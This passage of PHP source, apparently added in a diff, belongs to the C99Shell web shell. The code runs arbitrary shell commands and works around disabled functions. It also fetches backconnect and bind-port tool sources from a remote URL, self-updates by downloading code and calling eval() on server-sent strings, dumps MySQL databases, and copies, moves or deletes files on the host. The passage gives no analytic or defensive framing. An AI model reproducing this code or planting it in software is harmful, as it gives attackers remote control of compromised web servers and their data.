(is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("c99getsource")) +{ +function c99getsource($fn) +{ + global $c99sh_sourcesurl; + $array = array( + "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", + "c99sh_bindport.c" => "c99sh_bindport_c.txt", + "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", + "c99sh_backconn.c" => "c99sh_backconn_c.txt", + "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", + "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} + else {return FALSE;} +} +} +if (!function_exists("c99sh_getupdate")) +{ +function c99sh_getupdate($update = TRUE) +{ + $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by C99Shell.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "� <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c99shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = 